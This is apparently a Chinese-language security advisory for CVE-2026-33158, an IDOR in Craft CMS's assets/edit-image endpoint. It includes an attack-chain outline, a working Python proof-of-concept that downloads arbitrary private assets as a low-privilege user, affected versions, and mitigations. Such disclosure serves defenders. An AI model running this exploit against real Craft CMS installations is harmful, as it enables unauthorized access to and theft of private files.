IPBUF安全漏洞报告
English
CVE-2026-33158 CVSS 6.5 中危

CVE-2026-33158 Craft CMS 信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33158
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Craft CMS

相关标签

权限绕过信息泄露Craft CMSIDORCVSS-6.5

漏洞概述

Craft CMS 在多个版本(4.x < 4.17.8 和 5.x < 5.9.14)中存在严重的权限绕过漏洞。已认证的低权限用户可以通过调用 assets/edit-image 接口,在请求参数中指定任意 assetId。由于系统未对该特定资源执行严格的查看权限校验,攻击者能够直接读取本应受保护的私有资产文件,造成敏感数据泄露。

技术细节

该漏洞的核心在于 Craft CMS 的 assets/edit-image 端点存在访问控制逻辑缺陷。当系统处理图像编辑请求时,虽然要求用户具备基本的登录认证(PR:L),但在验证资源访问权限时出现遗漏。具体而言,后端代码在接收到 assetId 参数后,直接检索并返回对应的图像数据或预览链接,而未检查当前用户会话是否有权访问该特定的 assetId。这使得攻击者能够利用不安全的直接对象引用(IDOR)漏洞,通过遍历 ID 或猜测 ID 的方式,批量下载系统中的私有文件,包括用户上传的敏感图片或文档。由于无需用户交互(UI:N),该漏洞极易被自动化脚本利用,造成大规模的数据泄露风险。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是 Craft CMS,并确认其版本在受影响范围内(4.0.0-RC1 至 4.17.8 之前 或 5.0.0-RC1 至 5.9.14 之前)。
STEP 2
获取凭证
攻击者注册或获取一个低权限的普通用户账号,因为漏洞需要认证(PR:L)。
STEP 3
发送利用请求
攻击者使用该账号登录,并向 /admin/assets/edit-image 端点发送 HTTP GET 请求,在参数 assetId 中填入想要窃取的私有资源 ID。
STEP 4
获取数据
服务器端因缺少权限校验,直接返回目标资产的图像字节流或重定向链接,攻击者成功下载私有文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target-craft-cms.com" username = "low_priv_user" password = "user_password" def exploit(): # Create a session to handle cookies session = requests.Session() # 1. Authenticate as a low-privileged user # Note: Login endpoint may vary depending on Craft CMS configuration login_data = { "loginName": username, "password": password } print("[*] Attempting to login...") login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Exploit the vulnerability by requesting an arbitrary assetId # The asset ID to target (e.g., a private file belonging to an admin) target_asset_id = "123" # Vulnerable endpoint exploit_endpoint = f"{target_url}/admin/assets/edit-image" params = { "assetId": target_asset_id } print(f"[*] Sending request to retrieve assetId: {target_asset_id}") response = session.get(exploit_endpoint, params=params) # 3. Check response if response.status_code == 200: # The endpoint returns image bytes or a redirect content_type = response.headers.get('Content-Type') print(f"[+] Request successful! Content-Type: {content_type}") # Save the retrieved asset with open(f"stolen_asset_{target_asset_id}.bin", "wb") as f: f.write(response.content) print(f"[+] Saved retrieved content to stolen_asset_{target_asset_id}.bin") else: print(f"[-] Failed to retrieve asset. Status code: {response.status_code}") if __name__ == "__main__": exploit()

影响范围

Craft CMS 4.0.0-RC1 至 4.17.8 之前
Craft CMS 5.0.0-RC1 至 5.9.14 之前

防御指南

临时缓解措施
如果无法立即升级,建议通过 Web 应用防火墙(WAF)添加规则,严格校验对 /assets/edit-image 接口的请求参数,或者暂时禁用低权限用户对该接口的访问权限,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表